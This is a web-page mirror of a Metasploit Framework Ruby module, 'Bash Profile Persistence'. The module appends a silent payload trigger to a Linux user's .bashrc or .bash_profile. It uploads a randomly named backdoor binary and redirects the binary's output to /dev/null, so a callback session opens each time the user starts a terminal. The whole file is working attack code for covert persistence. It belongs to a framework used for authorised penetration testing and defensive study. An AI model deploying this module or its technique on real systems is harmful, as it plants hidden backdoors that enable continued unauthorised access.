Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/bash_profile.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Post::Linux::User
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/linux/local/bash_profile_persistence'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Bash Profile Persistence',
24
'Description' => %q{
25
This module writes an execution trigger to the target's Bash profile.
26
The execution trigger executes a call back payload whenever the target
27
user opens a Bash terminal.
28
Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Michael Long <bluesentinel[at]protonmail.com>'
33
],
34
'Payload' => {
35
'BadChars' => '#%\n"'
36
},
37
'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
38
'Platform' => ['unix', 'linux'],
39
'Arch' => [
40
ARCH_CMD,
41
ARCH_X86,
42
ARCH_X64,
43
ARCH_ARMLE,
44
ARCH_AARCH64,
45
ARCH_PPC,
46
ARCH_MIPSLE,
47
ARCH_MIPSBE
48
],
49
'SessionTypes' => ['meterpreter', 'shell'],
50
'Targets' => [
51
['Automatic', {}]
52
],
53
'DefaultTarget' => 0,
54
'References' => [
55
['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
56
],
57
'Notes' => {
58
'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ],
59
'Stability' => [ CRASH_SAFE ],
60
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']),
68
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),
69
]
70
)
71
end
72
73
def target_user
74
return datastore['USER'] unless datastore['USER'].blank?
75
76
whoami
77
end
78
79
def profile_path
80
user = target_user
81
home = get_home_dir(user)
82
"#{home}/#{datastore['BASH_PROFILE']}"
83
end
84
85
def check
86
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
87
ppath = profile_path
88
89
# check that target Bash profile file exists
90
return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath)
91
92
vprint_good("Bash profile exists: #{ppath}")
93
94
# check that target Bash profile file is writable
95
return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath)
96
97
vprint_good("Bash profile is writable: #{ppath}")
98
99
CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
100
end
101
102
def install_persistence
103
# create Bash profile backup on local system before persistence is added
104
ppath = profile_path
105
backup_profile = read_file(ppath)
106
107
backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
108
print_status("Created backup Bash profile: #{backup_profile_path}")
109
110
if payload.arch.first == 'cmd'
111
pload = payload.encoded
112
pload = pload.sub(/&$/, '') # remove trailing & since we add it later
113
exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
114
else
115
# upload persistent payload to target and make executable (chmod 700)
116
payload_path = datastore['WritableDir']
117
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
118
payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
119
payload_path << payload_name
120
upload_and_chmodx(payload_path, generate_payload_exe)
121
122
# write payload trigger to Bash profile
123
exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
124
end
125
append_file(ppath, exec_payload_string)
126
vprint_status('Created Bash profile persistence')
127
print_good('Payload will be triggered when target opens a Bash terminal')
128
129
@clean_up_rc = "rm #{payload_path}\n"
130
@clean_up_rc << "upload #{backup_profile_path} #{ppath}"
131
end
132
end
133
134